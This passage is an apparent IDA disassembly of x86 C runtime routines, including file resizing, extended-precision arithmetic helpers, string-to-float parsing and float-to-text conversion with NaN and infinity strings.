; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 2790000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh call near ptr 2660DCFh nop mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: 